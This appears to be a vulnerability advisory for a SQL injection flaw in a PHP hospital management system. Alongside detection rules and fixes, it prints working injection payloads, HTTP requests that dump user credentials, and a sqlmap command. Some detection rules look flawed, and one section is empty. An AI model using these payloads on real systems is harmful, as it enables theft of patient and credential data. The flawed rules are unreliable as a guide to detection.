CVE-2025-69945

Executive Summary

CVE-2025-69945 describes a SQL Injection vulnerability in the Hospital Management System (HMS) version 4.0 developed by Kishan0725. The injection point exists in the /doctor/edit-patient.php endpoint via the editid parameter. An unauthenticated attacker can manipulate the editid value to execute arbitrary SQL commands against the backend database, potentially leading to complete data compromise (patient records, credentials, medical history). Despite a CVSS score of 0.0 (unassigned), the impact is severe due to the sensitive nature of healthcare data. No public proof‑of‑concept or patch has been released as of this report. Immediate remediation actions are critical.

CVSS Breakdown & Threat Level

Although a CVSS vector has not been officially published, based on the characteristics of the vulnerability we estimate the following:

• Attack Vector (AV): Network (remote exploitation via HTTP request)
• Attack Complexity (AC): Low (no special conditions)
• Privileges Required (PR): None (unauthenticated)
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C), Integrity (I), Availability (A): High

Estimated Base Score: 9.8 (Critical) – actual vector would be CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

Deep Dive & Mechanics

The vulnerability resides in the edit-patient.php script, which processes the editid parameter from the URL. The likely vulnerable code directly interpolates the user input into an SQL query without proper sanitization or parameterized statements:

$id = $_GET['editid'];
$query = "SELECT * FROM patients WHERE id = $id";

An attacker can inject arbitrary SQL by providing malicious input such as:

1 UNION SELECT username, password FROM users --

Attack Flow

1. Reconnaissance: Scan for /doctor/edit-patient.php endpoints.
2. Injection: Modify the editid parameter with SQL payloads.
3. Data Extraction: Use UNION SELECT, OR 1=1, or blind techniques to leak schema, patient data, admin credentials, and more.
4. Potential Escalation: If the database user has file privileges, writing a webshell or reading server files becomes possible.

Potential Impact

• Data Breach: Full patient records, appointments, billing info.
• Credential Theft: Administrator passwords (often stored in plaintext or weak hashes).
• Regulatory: HIPAA, GDPR, and other healthcare privacy violations leading to fines and lawsuits.

Vulnerable vs. Patched Code

Exploitation & Lab Setup

Red Team (Penetration Testing)

Lab Environment:

• Download Hospital Management System v4.0 (source)
• Set up XAMPP/WAMP with PHP 7.x and MySQL
• Deploy the application

Manual Exploitation:

1. Basic injection:

   GET /doctor/edit-patient.php?editid=1%20OR%201=1 HTTP/1.1
   Host: target.local
   

2. Extracting database version:

   GET /doctor/edit-patient.php?editid=1%20UNION%20SELECT%201,@@version,3,4,5 HTTP/1.1
   

3. Data dump (example table):

   GET /doctor/edit-patient.php?editid=1%20UNION%20SELECT%20GROUP_CONCAT(username,':',password),2,3,4,5%20FROM%20users--
   

Automated tooling:

• sqlmap:

  sqlmap -u "http://target/doctor/edit-patient.php?editid=1" --batch --dbs
  

Blue Team (Defenders)

• Monitor HTTP logs for anomalous patterns in editid parameter (e.g., single quotes, UNION, OR, --).
• Deploy Web Application Firewall (WAF) rules blocking SQL injection patterns.
• Enable database query logging and alert on unexpected UNION or INTO OUTFILE statements.

Indicators of Compromise (IOCs)

Network IOCs

• Suspicious GET requests to /doctor/edit-patient.php with editid containing SQL keywords:
  • UNION SELECT, OR 1=1, AND SLEEP(5), @@version, INTO OUTFILE
• Multiple rapid requests with incremental editid values (enumeration).

Endpoint IOCs

• Unexpected entries in web server logs:
  • Example: GET /doctor/edit-patient.php?editid=1' OR '1'='1
• Error messages revealing SQL syntax (e.g., "You have an error in your SQL syntax").

Host IOCs (if successful)

• New files in webroot (e.g., cmd.php, shell.php)
• Database user accounts with extra privileges or new admin users in the application

Detection Engineering

YARA Rule

rule CVE_2025_69945_SQLi {
   meta:
      description = "Detects SQL injection patterns targeting /doctor/edit-patient.php"
      author = "Valters IT"
      cve = "CVE-2025-69945"
   strings:
      $sqli1 = /edit-patient\.php\?editid=.+/ nocase
      $sqli2 = /UNION\s+SELECT/i
      $sqli3 = /OR\s+1=1/i
      $sqli4 = /SLEEP\(/i
      $sqli5 = /INTO\s+OUTFILE/i
   condition:
      all of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt on hospital Management System
id: f2a3b4c5-d6e7-8910-1112-131415161718
status: experimental
description: Detects SQL injection attempts against /doctor/edit-patient.php
logsource:
   category: webserver
   product: apache
detection:
   selection:
      cs-uri-query|contains: 
         - "editid=1'"
         - "editid=1 OR"
         - "editid=UNION"
         - "editid=--"
      cs-uri-stem|endswith: "/doctor/edit-patient.php"
   condition: selection
falsepositives:
   - Legitimate use of apostrophes in names (very rare)
level: high

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
   msg:"CVE-2025-69945 - SQL Injection on edit-patient.php";
   flow:to_server,established;
   content:"/doctor/edit-patient.php?editid="; http_uri;
   pcre:"/(?:%27|')?\s*(?:OR|UNION|SLEEP|INTO\s+OUTFILE)/i";
   sid:1000001;
   rev:1;
)

Remediation & Mitigation

Immediate Actions (Patch unavailable):

1. Disable the vulnerable script or apply access controls (IP whitelist for the /doctor/ directory).
2. Implement parameterized queries – rewrite the affected code to use prepared statements:

   $stmt = $conn->prepare("SELECT * FROM patients WHERE id = ?");
   $stmt->bind_param("i", $_GET['editid']);
   $stmt->execute();
   

3. Input validation – ensure editid is a positive integer.
4. Web Application Firewall (WAF) – deploy rules to block SQLi patterns temporarily.
5. Database hardening – apply least privilege to the application database user (no FILE or INSERT INTO on system tables).
6. Monitor logs – review HTTP and database logs for signs of exploitation.

Long‑term:

• Contact the vendor (Kishan0725) for a security patch.
• Consider migrating to a maintained fork or alternative hospital management software.
• Regular security audits and penetration testing for all web applications.

This report was compiled by Valters IT – DevSecOps & Cyber Threat Intelligence Division.
Signature: Valters IT